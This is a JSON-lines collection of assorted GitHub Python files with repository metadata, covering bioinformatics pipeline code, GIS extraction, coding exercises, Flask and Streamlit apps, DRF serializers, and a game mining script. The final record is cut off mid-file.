+{"seq_id":"25286633247","text":"import os\nimport sys\nimport glob\nimport shutil\nimport support\nimport options_storage\nimport process_cfg\nfrom site import addsitedir\nfrom distutils import dir_util\nfrom os.path import isfile\n\n\ndef compress_dataset_files(dataset_data, ext_python_modules_home, max_threads, log):\n pigz_path = support.which('pigz')\n if pigz_path:\n compressor = 'pigz'\n else:\n compressor = 'gzip'\n log.info(\"\\n== Compressing corrected reads (with \" + compressor + \")\")\n to_compress = []\n for reads_library in dataset_data:\n for key, value in reads_library.items():\n if key.endswith('reads'):\n compressed_reads_filenames = []\n for reads_file in value:\n compressed_reads_filenames.append(reads_file + \".gz\")\n if not isfile(reads_file):\n if isfile(compressed_reads_filenames[-1]):\n continue # already compressed (--continue/--restart-from case)\n support.error('something went wrong and file with corrected reads (' + reads_file + ') is missing!', log)\n to_compress.append(reads_file)\n reads_library[key] = compressed_reads_filenames\n if len(to_compress):\n if pigz_path:\n for reads_file in to_compress:\n support.sys_call([pigz_path, '-f', '-7', '-p', str(max_threads), reads_file], log)\n else:\n addsitedir(ext_python_modules_home)\n if sys.version.startswith('2.'):\n from joblib2 import Parallel, delayed\n elif sys.version.startswith('3.'):\n from joblib3 import Parallel, delayed\n n_jobs = min(len(to_compress), max_threads)\n outputs = Parallel(n_jobs=n_jobs)(delayed(support.sys_call)(['gzip', '-f', '-7', reads_file]) for reads_file in to_compress)\n for output in outputs:\n if output:\n log.info(output)\n\n\ndef remove_not_corrected_reads(output_dir):\n for not_corrected in glob.glob(os.path.join(output_dir, \"*.bad.fastq\")):\n os.remove(not_corrected)\n\n\ndef prepare_config_bh(filename, cfg, log):\n subst_dict = dict()\n\n subst_dict[\"dataset\"] = process_cfg.process_spaces(cfg.dataset_yaml_filename)\n subst_dict[\"input_working_dir\"] = process_cfg.process_spaces(cfg.tmp_dir)\n subst_dict[\"output_dir\"] = process_cfg.process_spaces(cfg.output_dir)\n subst_dict[\"general_max_iterations\"] = cfg.max_iterations\n subst_dict[\"general_max_nthreads\"] = cfg.max_threads\n subst_dict[\"count_merge_nthreads\"] = cfg.max_threads\n subst_dict[\"bayes_nthreads\"] = cfg.max_threads\n subst_dict[\"expand_nthreads\"] = cfg.max_threads\n subst_dict[\"correct_nthreads\"] = cfg.max_threads\n subst_dict[\"general_hard_memory_limit\"] = cfg.max_memory\n if \"qvoffset\" in cfg.__dict__:\n subst_dict[\"input_qvoffset\"] = cfg.qvoffset\n if \"count_filter_singletons\" in cfg.__dict__:\n subst_dict[\"count_filter_singletons\"] = cfg.count_filter_singletons\n if \"read_buffer_size\" in cfg.__dict__:\n subst_dict[\"count_split_buffer\"] = cfg.read_buffer_size\n process_cfg.substitute_params(filename, subst_dict, log)\n\n\ndef prepare_config_ih(filename, cfg, ext_python_modules_home):\n addsitedir(ext_python_modules_home)\n if sys.version.startswith('2.'):\n import pyyaml2 as pyyaml\n elif sys.version.startswith('3.'):\n import pyyaml3 as pyyaml\n\n data = pyyaml.load(open(filename, 'r'))\n data[\"dataset\"] = cfg.dataset_yaml_filename\n data[\"working_dir\"] = cfg.tmp_dir\n data[\"output_dir\"] = cfg.output_dir\n data[\"hard_memory_limit\"] = cfg.max_memory\n data[\"max_nthreads\"] = cfg.max_threads\n pyyaml.dump(data, open(filename, 'w'),\n default_flow_style=False, default_style='\"', width=float(\"inf\"))\n\n\ndef run_hammer(corrected_dataset_yaml_filename, configs_dir, execution_home, cfg,\n dataset_data, ext_python_modules_home, only_compressing_is_needed, log):\n addsitedir(ext_python_modules_home)\n if sys.version.startswith('2.'):\n import pyyaml2 as pyyaml\n elif sys.version.startswith('3.'):\n import pyyaml3 as pyyaml\n\n # not all reads need processing\n if support.get_lib_ids_by_type(dataset_data, options_storage.LONG_READS_TYPES):\n not_used_dataset_data = support.get_libs_by_type(dataset_data, options_storage.LONG_READS_TYPES)\n to_correct_dataset_data = support.rm_libs_by_type(dataset_data, options_storage.LONG_READS_TYPES)\n to_correct_dataset_yaml_filename = os.path.join(cfg.output_dir, \"to_correct.yaml\")\n pyyaml.dump(to_correct_dataset_data, open(to_correct_dataset_yaml_filename, 'w'),\n default_flow_style=False, default_style='\"', width=float(\"inf\"))\n cfg.dataset_yaml_filename = to_correct_dataset_yaml_filename\n else:\n not_used_dataset_data = None\n\n if not only_compressing_is_needed:\n dst_configs = os.path.join(cfg.output_dir, \"configs\")\n if os.path.exists(dst_configs):\n shutil.rmtree(dst_configs)\n if cfg.iontorrent:\n dir_util.copy_tree(os.path.join(configs_dir, \"ionhammer\"), dst_configs, preserve_times=False)\n cfg_file_name = os.path.join(dst_configs, \"ionhammer.cfg\")\n else:\n dir_util.copy_tree(os.path.join(configs_dir, \"hammer\"), dst_configs, preserve_times=False)\n cfg_file_name = os.path.join(dst_configs, \"config.info\")\n\n cfg.tmp_dir = support.get_tmp_dir(prefix=\"hammer_\")\n if cfg.iontorrent:\n prepare_config_ih(cfg_file_name, cfg, ext_python_modules_home)\n binary_name = \"spades-ionhammer\"\n else:\n prepare_config_bh(cfg_file_name, cfg, log)\n binary_name = \"spades-hammer\"\n\n command = [os.path.join(execution_home, binary_name),\n os.path.abspath(cfg_file_name)]\n\n log.info(\"\\n== Running read error correction tool: \" + ' '.join(command) + \"\\n\")\n support.sys_call(command, log)\n if not os.path.isfile(corrected_dataset_yaml_filename):\n support.error(\"read error correction finished abnormally: \" + corrected_dataset_yaml_filename + \" not found!\")\n else:\n log.info(\"\\n===== Skipping %s (already processed). \\n\" % \"read error correction tool\")\n support.continue_from_here(log)\n\n corrected_dataset_data = pyyaml.load(open(corrected_dataset_yaml_filename, 'r'))\n remove_not_corrected_reads(cfg.output_dir)\n is_changed = False\n if cfg.gzip_output:\n is_changed = True\n compress_dataset_files(corrected_dataset_data, ext_python_modules_home, cfg.max_threads, log)\n if not_used_dataset_data:\n is_changed = True\n corrected_dataset_data += not_used_dataset_data\n if is_changed:\n pyyaml.dump(corrected_dataset_data, open(corrected_dataset_yaml_filename, 'w'),\n default_flow_style=False, default_style='\"', width=float(\"inf\"))\n log.info(\"\\n== Dataset description file was created: \" + corrected_dataset_yaml_filename + \"\\n\")\n\n if os.path.isdir(cfg.tmp_dir):\n shutil.rmtree(cfg.tmp_dir)\n","repo_name":"CSB5/OPERA-MS","sub_path":"tools_opera_ms/SPAdes-3.13.0-Linux/share/spades/spades_pipeline/hammer_logic.py","file_name":"hammer_logic.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"48"} +{"seq_id":"25455239819","text":"\n# Open classif_1.tiff and read it to see where the training data coordinates are\n# then save it to a save file \n\n\nimport numpy as np\nfrom osgeo import gdal\n\nclassif = [\"classif_1\",\"classif_2\",\"classif_3\",\"classif_4\",\"classif_5\"]\n\n\ndef extract(filename):\n intiffile = filename + \".tif\"\n d5 = gdal.Open(intiffile)\n ts1_b1 = np.array(d5.GetRasterBand(1).ReadAsArray())\n print(ts1_b1.shape)\n\n count = 0\n\n classif1coordinates = []\n\n\n\n for ix,iy in np.ndindex(ts1_b1.shape):\n if (ts1_b1[ix,iy]!=51):\n classif1coordinates.append ([ix,iy])\n count = count + 1\n\n\n outtxtfile = \"../training data coords/\"+ filename + \".txt\"\n f= open(outtxtfile,\"w+\")\n for i in range(0,len(classif1coordinates)):\n f.write(\"%d %d \\r\\n\" %(classif1coordinates[i][0],classif1coordinates[i][1]))\n\n f.close()\n\n\n\n\ndef extract2(filename):\n\n\n classif1coordinates = []\n intiffile = filename + \".tif\"\n\n d5 = gdal.Open(intiffile)\n ts1_b1 = np.array(d5.GetRasterBand(1).ReadAsArray().ravel())\n\n lenght = len(ts1_b1)\n i = 0\n while i < lenght:\n if (ts1_b1[i]!=51):\n classif1coordinates.append(i)\n i +=1\n \n outtxtfile = \"../training data coords/\"+ filename + \"_ravel.txt\"\n f= open(outtxtfile,\"w+\")\n for i in range(0,len(classif1coordinates)):\n f.write(\"%d \\r\\n\" %(classif1coordinates[i]))\n\n f.close()\n\n\nfor i in classif:\n extract2(i)","repo_name":"aldrinjao/quinalilulc","sub_path":"albay/extracttrainingpoints.py","file_name":"extracttrainingpoints.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36567430760","text":"# The Arara are an isolated tribe found in the Amazon who count in pairs. For example one to eight is as follows:\n\n# 1 = anane\n# 2 = adak\n# 3 = adak anane\n# 4 = adak adak\n# 5 = adak adak anane\n# 6 = adak adak adak\n# 7 = adak adak adak anane\n# 8 = adak adak adak adak\n\n# Take a given number and return the Arara's equivalent.\n\n# e.g.\n\n# count_arara(3) # -> 'adak anane'\n\n# count_arara(8) # -> 'adak adak adak adak'\n\n\ndef count_arara(n):\n count1 = 'anane'\n count2 = 'adak'\n count = ''\n if n == 1:\n return 'anane'\n elif n == 2:\n return 'adak'\n else:\n if n % 2 == 0:\n div = n // 2\n count = (div-1) * (count2 + ' ') + count2\n else:\n div = n // 2\n count = (div-1) * (count2 + ' ') + count2 + ' ' + count1\n\n return count\n\n# def count_arara(n):\n# return \" \".join(['adak']*(n//2) + ['anane']*(n%2))\n\n# def count_arara(n):\n# adak = n / 2\n# anane = n % 2\n# return (adak * \"adak \" + anane * \"anane\").rstrip()\n\n\n# from itertools import chain, repeat\n# def count_arara(n):\n# twos = repeat('adak', n / 2)\n# one = repeat('anane', n % 2)\n# return ' '.join(chain(twos, one))\n","repo_name":"AndreeaNenciuCrasi/Programming-Basics-Exercises","sub_path":"Fourth SI week/adak_anane.py","file_name":"adak_anane.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70871863185","text":"import warnings\nwarnings.simplefilter(\"ignore\")\nimport os\nos.environ[\"TF_ENABLE_ONEDNN_OPTS\"] = \"0\"\n# import matplotlib.pyplot as plt\nimport plotly.express as px\nimport plotly.subplots as sp\nimport plotly.graph_objs as go\nfrom keras.preprocessing.image import load_img\n\n\n# Specify the paths to the training and validation data directories\ntrain_data_dir = \"TheSimpsonsDataset/train/\"\nval_data_dir = \"TheSimpsonsDataset/validation/\"\n\n# Create a list to store the names of characters\nname_character = []\nfor character in os.listdir(train_data_dir):\n data = [character]\n name_character.append(data)\n\n# Crear una lista de diccionarios para almacenar la información de las imágenes\nimage_data = []\n\ncharacters = os.listdir(train_data_dir)\n\nfor character in characters:\n image_dir = train_data_dir + character + \"/\" + os.listdir(train_data_dir + character)[0]\n image_data.append({\"Character\": character, \"Image Path\": image_dir})\n\n# Crear subtramas con Plotly\ncolumns = 5\nrows = len(characters) // columns + 1\n\nfig = sp.make_subplots(rows=rows, cols=columns,\n vertical_spacing=0,)\n \n\nfor i, data in enumerate(image_data):\n character = data[\"Character\"]\n image_dir = data[\"Image Path\"]\n image = load_img(image_dir, target_size=(244, 244))\n image_trace = go.Image(z=image,hovertemplate=f'Name: {character}
    ', hoverlabel=dict(bgcolor=\"#262626\"))\n row = i // columns + 1\n col = i % columns + 1\n image_index = f'({i + 1})'\n fig.update_layout(height=row * 250, width=col * 250,)\n fig.add_trace(image_trace, row=row, col=col,)\n if col == 1:\n x = (col - 1) / columns + 0.42 / columns\n elif col == columns:\n x = (col - 1) / columns + 0.57 / columns\n else:\n x = (col - 1) / columns + 0.5 / columns\n fig.add_annotation(\n go.layout.Annotation(\n text=image_index,\n xref=\"paper\", yref=\"paper\",\n x=x,\n y=1 - (row - 1) / rows - 0.08 / rows,\n xanchor=\"center\", yanchor=\"top\",\n showarrow=False,\n font=dict(size=18),\n )\n )\n\nfig.update_layout(title_text='The Simpsons Characters
    for the Recognition Model', \n title_x=0.5, \n font=dict(family='Montserrat', \n color='#F2F2F2'),\n template='plotly_dark')\nfig.update_xaxes(showticklabels=False)\nfig.update_yaxes(showticklabels=False)\nfig.show()","repo_name":"sebacornnejo/General_Porfolio","sub_path":"CNN_TheSimpsonsRecognition(InProgress)/TestDisplayCharacters.py","file_name":"TestDisplayCharacters.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26995431681","text":"# _*_ coding : utf-8 _*_\n# @Time : 2022/10/6 21:41\n# @Author : 邓浩\n# @File : 01_爬虫_urllib\n# @Project : 爬虫\n\n# 使用urllib来获取百度首页的源代码\nimport urllib.request\n\n#(1)定义一个url\nurl = 'http://www.baidu.com'\n\n# (2)模拟浏览器向服务器发送请求\nresponse = urllib.request.urlopen(url)\n\n# (3)获取相应中页面的源码\n# 将二进制的数据转换为字符串 解码 decode('编码的格式')\ncontent = response.read().decode('utf-8')\n\n\n# (4)打印数据\nprint(content)\n\n\n","repo_name":"qq1051766345/spider-learn","sub_path":"urllib/01_爬虫_urllib_基本使用.py","file_name":"01_爬虫_urllib_基本使用.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9594886774","text":"from flask import Flask, render_template, flash\r\nfrom flask_wtf import FlaskForm\r\nfrom wtforms import StringField, SubmitField\r\nfrom wtforms.validators import DataRequired\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = \"my super secret key that anybody could to repeat\"\r\n\r\n#Класс форм (создаём формы, которые можно будет заполнять, ну или тыкать, если это кнопка...)\r\nclass NamerForm(FlaskForm):\r\n name = StringField(\"What's Your Name\", validators=[DataRequired()])\r\n submit = SubmitField(\"Submit\")\r\n #Другие формы тут: flask-wtf.readthedocs.io\r\n\r\n#Функции для различных страничек веб приложения\r\n@app.route(\"/\")\r\n\r\ndef index():\r\n #Просто пример заполнения главной страницы, тренируемся обращаться со списками и т.п...\r\n first_name = \"April\"\r\n stuff = \"This is bold Text\"\r\n favorite_pizza = [\"Pepperoni\", \"Cheese\", \"Mushrooms\", 41]\r\n return render_template(\"index.html\", first_name=first_name,\r\n stuff=stuff,\r\n favorite_pizza=favorite_pizza)\r\n'''ФИЛЬТРЫ ДЛЯ ФОРМАТИРОВАНИЯ ТЕКСТА:\r\nsafe\r\ncapitalize\r\nlower\r\nupper\r\ntitle\r\ntrim\r\nstrings\r\n'''\r\n\r\n\r\n@app.route(\"/user/\") \r\n\r\ndef user(name):\r\n return render_template(\"user.html\", user_name=name)\r\n\r\n@app.errorhandler(404)\r\n\r\ndef page_not_found(e):\r\n return render_template(\"404.html\"), 404\r\n\r\n@app.errorhandler(500)\r\n\r\ndef page_not_found(e):\r\n return render_template(\"500.html\"), 500 \r\n\r\n@app.route('/name', methods=['GET', 'POST'])\r\n\r\ndef name():\r\n name = None\r\n form = NamerForm()\r\n if form.validate_on_submit():\r\n name = form.name.data\r\n form.name.data = '' \r\n #Уведомления, штобы было красиво:\r\n flash(\"Submitted Successfully\")\r\n return render_template(\"name.html\", name=name, form=form)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","repo_name":"Mikhail000Yasinski/1","sub_path":"Flasker_Web/flasker_web.py","file_name":"flasker_web.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"715791333","text":"import random\r\nimport time\r\n\r\n\r\nclass TV_Remote():\r\n\r\n def __init__(self,tv_status=\"OFF\",tv_volume=0,channel_list=[\"Fox\"],channel=\"Fox\"):\r\n\r\n self.tv_status=tv_status\r\n self.tv_volume=tv_volume\r\n self.channel_list=channel_list\r\n self.channel=channel\r\n\r\n def turn_on_tv(self):\r\n if(self.tv_status==\"ONN\"):\r\n print(\"TV is already onn\")\r\n else:\r\n print(\"TV turns onn\")\r\n self.tv_status=\"ONN\"\r\n\r\n def turn_of_tv(self):\r\n if(self.tv_status==\"OFF\"):\r\n print(\"TV is already off\")\r\n else:\r\n print(\"TV turns off\")\r\n self.tv_status=\"OFF\"\r\n\r\n def set_the_sound(self):\r\n while(True):\r\n answer=input(\"press the '<' to decrease the voleme\\npress the '>' to increase the volume\\npress the 'q' to exit\")\r\n\r\n if answer=='<':\r\n dec=int(input(\"enter the volume you want to reduce\"))\r\n if dec>self.tv_volume:\r\n print(\"the sound cannot go below zero\")\r\n else:\r\n self.tv_volume -=dec\r\n\r\n elif answer=='>':\r\n inc=int(input(\"enter the volume you want to increase\"))\r\n if (self.tv_volume+inc) >100:\r\n print(\"the sound cannot go above 100\")\r\n else:\r\n self.tv_volume +=inc\r\n elif answer =='q':\r\n break\r\n else:\r\n print(\"please press the correct keys!! \")\r\n\r\n def add_channel(self,channel_name):\r\n print(\"Channel is being added....\")\r\n time.sleep(1)\r\n self.channel_list.append(channel_name)\r\n print(\"Channel Added..\")\r\n\r\n def randon_channel(self):\r\n\r\n rand=random.randint(0,len(self.channel_list))\r\n self.channel=self.channel_list[rand]\r\n print(\"Current Channel=\",self.channel)\r\n\r\n def __len__(self):\r\n return len(self.channel_list)\r\n \r\n def __str__(self):\r\n return \"TV Status = {}\\nTV_Volume = {}\\nChannel List = {}\\nCurrent Channel = {}\".format(self.tv_status,self.tv_volume,self.channel_list,self.channel)\r\n\r\n\r\ntv_remote1=TV_Remote()\r\nprint(\"\"\"\r\n\r\nTV APPLICATION\r\n\r\n1.Turn on the TV\r\n\r\n2.Turn off the TV\r\n\r\n3.Set the Sound\r\n\r\n4.Add Channel\r\n\r\n5.Learn the number of channels\r\n\r\n6.Pass the Randon Channel\r\n\r\n7.TV Information\r\n\r\nPlease press the 'q' to exit\r\n\r\n\"\"\")\r\n\r\nwhile(True):\r\n ans=input(\"Which action would you like to apply?\")\r\n\r\n if ans =='q':\r\n break\r\n elif ans =='1':\r\n tv_remote1.turn_on_tv()\r\n elif ans =='2':\r\n tv_remote1.turn_of_tv()\r\n elif ans =='3':\r\n tv_remote1.set_the_sound()\r\n elif ans =='4':\r\n addchannel=input(\"Write the channel names separated by commas!!!\")\r\n channel_list=addchannel.split(\",\")\r\n for add in channel_list:\r\n tv_remote1.add_channel(add)\r\n elif ans =='5':\r\n print(\"Number of Channels =\",len(tv_remote1))\r\n elif ans =='6':\r\n tv_remote1.randon_channel()\r\n elif ans =='7':\r\n print(tv_remote1)\r\n\r\n else:\r\n print(\"please press the correct keys!! \")\r\n ","repo_name":"Mertumul/PythonBasic","sub_path":"Tv_Remote.py","file_name":"Tv_Remote.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27153799904","text":"from rest_framework import serializers\r\n\r\nfrom ..models import *\r\n\r\nclass studentCreateStudentSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = studentMainModel\r\n fields = '__all__'\r\n\r\n\r\nclass studentGetAllStudentSer1ializer(serializers.ModelSerializer):\r\n\r\n class Meta:\r\n model = studentMainModel\r\n fields = '__all__'\r\n\r\n\r\n\r\nclass studentAddMarksToStudentSerializer(serializers.ModelSerializer):\r\n def validate(self, data):\r\n student = data['student']\r\n\r\n sem = data['sem']\r\n if student.studentMarksModel_student.filter(sem=sem).exists():\r\n raise serializers.ValidationError(\r\n f\"A studentMarksModel instance for semester {sem} already exists for this student.\")\r\n\r\n return data\r\n class Meta:\r\n model = studentMarksModel\r\n fields = '__all__'\r\n\r\n#\r\n\r\nclass studentGetAllStudentMarksDetailsSerializer(serializers.ModelSerializer):\r\n\r\n class Meta:\r\n model = studentMarksModel\r\n fields = '__all__'\r\n\r\n\r\nclass studentGetAllStudentMarksByIdSerializer(serializers.ModelSerializer):\r\n student_marks = studentGetAllStudentMarksDetailsSerializer(many=True, read_only=True,source=\"studentMarksModel_student\")\r\n\r\n class Meta:\r\n model = studentMainModel\r\n # fields = '__all__'\r\n fields = ['name', 'dob', 'image', 'branch', 'student_marks']\r\n\r\n\r\n\r\n#=====================================================================================#\r\n\r\n\r\n# class studentGetAllStudentFinalMarksSerializer(serializers.ModelSerializer):\r\n# student_main = studentCreateStudentSerializer(read_only=True,source=\"studentMarksMainModel_student\")\r\n# final_marks = serializers.SerializerMethodField(read_only=True)\r\n#\r\n# def get_final_marks(self, obj):\r\n# student = obj.student\r\n# print(student,'-------------student')\r\n# try:\r\n# marks = studentMarksModel.objects.filter(student=student)\r\n# print(marks,'-=================marks')\r\n# except:\r\n# raise serializers.ValidationError('Student marks not found')\r\n# #\r\n# semesters = {}\r\n# for mark in marks:\r\n# print(mark,'------------mark')\r\n# if mark.sem not in semesters:\r\n# semesters[mark.sem] = []\r\n# print(\"sem==========\")\r\n# semesters[mark.sem].append(mark.marks)\r\n#\r\n# print(semesters,'==========================semester m')\r\n#\r\n# final_marks = {}\r\n# for sem, marks in semesters.items():\r\n# final_marks[f'Semester {sem}'] = marks\r\n#\r\n# total_marks = sum(sum(marks) for marks in semesters.values())\r\n# final_marks['Total Marks'] = total_marks\r\n#\r\n# return \"final_marks\"\r\n#\r\n# class Meta:\r\n# model = studentMarksMainModel\r\n# fields = '__all__'\r\n\r\n# class studentGetAllStudentFinalMarksSerializer(serializers.ModelSerializer):\r\n# student_main = studentCreateStudentSerializer()\r\n# final_marks = serializers.SerializerMethodField(read_only=True)\r\n#\r\n# def get_final_marks(self, obj):\r\n# student_marks_main = obj.studentMarksMainModel_student.first()\r\n# if student_marks_main:\r\n# return student_marks_main.FinalMarks\r\n# return None\r\n#\r\n# class Meta:\r\n# model = studentMarksModel\r\n# fields = '__all__'\r\n\r\n\r\n\r\n# class studentGetAllStudentFinalMarksSerializer(serializers.ModelSerializer):\r\n# student_main = studentCreateStudentSerializer\r\n# final_marks = serializers.SerializerMethodField(read_only=True)\r\n# def get_final_marks(self, obj):\r\n# student = obj.marks.all()\r\n# try:\r\n# student = studentMarksModel(student, many=True).data\r\n# print(student)\r\n# except:\r\n# raise serializers.ValidationError('student is not created')\r\n# return student.data\r\n#\r\n# class Meta:\r\n# model = studentMarksModel\r\n# fields = '__all__'\r\n # fields = ['id', 'sem', 'marks']\r\n","repo_name":"Archanapola/first_project","sub_path":"student/api_admin_v1/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7550578385","text":"from object_recognition import recognize_objects\n\n\ndef main():\n image_path = 'path/to/image.jpg'\n objects = recognize_objects(image_path)\n \n print('Detected objects:')\n for obj in objects:\n print(obj)\n\n\nif __name__ == '__main__':\n main()","repo_name":"ANTL33Y/voiceassistantai","sub_path":"object_recognition/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72631330705","text":"from py_stealth import *\nfrom datetime import datetime as dt\nfrom Scripts.helpers import Types\nimport re\n\n# Serial сундука\nHOME_CHEST = 0x40018746\n# Коорды возле сундука\nNEAR_HOME_POINT = (2009, 358)\n# Коорды в шахте ( по центру )\nMINE_COORDINATES = (1905, 368)\n\n\nTOOLTIP_REGEX = re.compile(r\"\\s+(\\w+ ore)\\s+\\|Amount:\\s+(\\d+)\")\n\nSKIP_TILE_MESSAGES = [\n \"There is nothing\",\n \"Ты не можешь копать\",\n \"Пробуй копать в другом\",\n \"You have no line\",\n \"You decide not to mine\"\n]\n\nNEXT_TRY_MESSAGES = [\n \"Вы положили\",\n \"You loosen\",\n \"You decide not\", # Alt-tab protection\n]\n\nCAVE_TILES = range(1339, 1359)\nTILE_SEARCH_RANGE = 10\n\nUNLOAD_WEIGHT = MaxWeight() - 50\n\n\ndef cancel_targets():\n CancelWaitTarget()\n if TargetPresent():\n CancelTarget()\n\n\ndef statistics():\n _statistics = \"\\n\"\n FindType(0xFFFF, Backpack())\n for _item in GetFoundList():\n _matched = TOOLTIP_REGEX.match(GetTooltip(_item))\n if _matched:\n _statistics += f\"{_matched.group(1)}: +{_matched.group(2)}\\n\"\n print(_statistics)\n\n\ndef find_tiles(center_x, center_y, radius):\n _min_x, _min_y = center_x-radius, center_y-radius\n _max_x, _max_y = center_x+radius, center_y+radius\n _tiles_coordinates = []\n for _tile in CAVE_TILES:\n _tiles_coordinates += GetStaticTilesArray(\n _min_x, _min_y, _max_x, _max_y, WorldNum(), _tile)\n print(\"[FindTiles] Found \"+str(len(_tiles_coordinates))+\" tiles\")\n return _tiles_coordinates\n\n\ndef find_gump(gump_id: int) -> bool:\n for _gump in range(0, GetGumpsCount()):\n if GetGumpID(_gump) == gump_id:\n return True\n return False\n\n\ndef wait_for_gump(button: int, gump_id: int) -> None:\n _try = 0\n while not find_gump(gump_id):\n _try += 1\n Wait(500)\n if _try > 30:\n # print(\"wat_for_gump timeout\")\n return\n\n WaitGump(button)\n Wait(2000)\n\n\ndef unload(x, y):\n (_home_x, _home_y) = NEAR_HOME_POINT\n newMoveXY(_home_x, _home_y, True, 0, True)\n\n statistics()\n if FindType(Types.ORE, Backpack()):\n for _log in GetFindedList():\n MoveItem(_log, 0, HOME_CHEST, 0, 0, 0)\n Wait(500)\n Wait(500)\n newMoveXY(x, y, True, 0, True)\n\n\ndef mine():\n for _tile_data in find_tiles(GetX(Self()), GetY(Self()), TILE_SEARCH_RANGE):\n _tile, _x, _y, _z = _tile_data\n while not Dead():\n if newMoveXY(_x, _y, True, 1, True):\n if Weight() > UNLOAD_WEIGHT:\n unload(GetX(Self()), GetY(Self()))\n\n _started = dt.now()\n cancel_targets()\n UseType(Types.PICKAXE, 0xFFFF)\n WaitForTarget(2000)\n if TargetPresent():\n WaitTargetTile(_tile, _x, _y, _z)\n WaitJournalLine(_started, \"|\".join(\n SKIP_TILE_MESSAGES + NEXT_TRY_MESSAGES), 15000)\n\n if InJournalBetweenTimes(\"|\".join(SKIP_TILE_MESSAGES), _started, dt.now()) > 0:\n break\n else:\n print(f\"Can't reach X: {_x} Y: {_y}\")\n\n Wait(500)\n\n\n# Initialization\n\nmine_x, mine_y = MINE_COORDINATES\nSetARStatus(True)\nSetPauseScriptOnDisconnectStatus(True)\nSetWarMode(False)\nSetMoveThroughNPC(20)\nnewMoveXY(mine_x, mine_y, True, 0, True)\nwhile not Dead():\n mine()\n","repo_name":"it-sova/eternium-stealth-public","sub_path":"Mining_house_no_smelt.py","file_name":"Mining_house_no_smelt.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74368856785","text":"from datetime import datetime\n\nimport pandas as pd\nimport streamlit as st\nimport streamlit_toggle as tog\n\nimport app.session as session\nfrom app.const import PageId\nfrom app.datastore.protocol import NewUsageRecord, TransactionController\nfrom app.model.equipment import Equipment\nfrom app.pages.base import BasePage\nfrom app.pages.components.select_eqipments_grid import eqipments_grid\nfrom app.pages.components.show_record_summary import show_record_summary\n\n\ndef check_license(new_usage: NewUsageRecord) -> list[str]:\n unlicensed = [\n eq\n for eq in new_usage.equipments\n if eq.check_license and not [l for l in new_usage.user.licenses if l == eq.id]\n ]\n return [f\"You are not licensed to use {eq.name}.\" for eq in unlicensed]\n\n\ndef check_current_usage(\n new_usage: NewUsageRecord, transaction_controller: TransactionController\n) -> list[str]:\n in_use: set[Equipment] = set()\n for u in transaction_controller.usage_records.values():\n in_use = in_use.union(u.equipments)\n return [\n f\" {eq.name} is in use already.\"\n for eq in in_use.intersection(new_usage.equipments)\n ]\n\n\ndef check_reservation(\n new_usage: NewUsageRecord, transaction_controller: TransactionController\n) -> list[str]:\n ret: list[str] = []\n for res in transaction_controller.reservations.values():\n booking = set(res.equipments).intersection(new_usage.equipments)\n ret.extend(\n [\n f\" {eq.name} is reserved from {res.starting} to {res.end} by {res.user.name}.\"\n for eq in booking\n ]\n )\n\n return ret\n\n\nclass UseStartPage(BasePage):\n def __init__(self) -> None:\n super().__init__(PageId.USE_START, \"Start to Use\")\n\n def render(self) -> None:\n st.title(self.title)\n\n selected_equipments = eqipments_grid(\n session.get_svcs().master_provider.equipments.values(),\n \"use_start__selected_equipments\",\n )\n\n starttime = pd.to_datetime(datetime.now()).round(\"min\")\n\n if self.toggle(\"Specify start time\"):\n d = st.date_input(\n \"Start date\",\n value=datetime.date(starttime),\n label_visibility=\"collapsed\",\n )\n t = st.time_input(\n \"Start time\",\n value=datetime.time(starttime),\n label_visibility=\"collapsed\",\n )\n\n starttime = datetime.combine(d, t)\n\n note = None\n if self.toggle(\"Write note\"):\n note = st.text_area(\"Note\", label_visibility=\"collapsed\")\n\n new_record: NewUsageRecord = NewUsageRecord(\n user=session.get_cxt().current_user,\n equipments=selected_equipments,\n starting=starttime,\n note=note,\n )\n st.divider()\n show_record_summary(new_record)\n\n warnings: list[str] = self.check_warnings(new_record)\n for w in warnings:\n st.warning(w)\n\n start = st.button(\n len(warnings) > 0 and \"Start anyway\" or \"Start\",\n disabled=len(selected_equipments) == 0,\n )\n\n if start:\n with st.spinner(\"Saving...\"):\n reslut = session.get_svcs().transaction_controller.add_usage_record(\n new_record\n )\n # TODO\n session.get_cxt().goto(PageId.START)\n st.experimental_rerun()\n\n def check_warnings(self, new_usage: NewUsageRecord) -> list[str]:\n warnings: list[str] = []\n warnings += check_license(new_usage)\n warnings += check_current_usage(\n new_usage, session.get_svcs().transaction_controller\n )\n warnings += check_reservation(\n new_usage, session.get_svcs().transaction_controller\n )\n return warnings\n","repo_name":"utsoraji/record_equipment_usage_in_basement_lab","sub_path":"app/pages/use_start.py","file_name":"use_start.py","file_ext":"py","file_size_in_byte":3839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73126416467","text":"import streamlit as st\nfrom tools.utilities import load_css\nfrom pathlib import Path\nimport base64\nimport requests\nfrom config 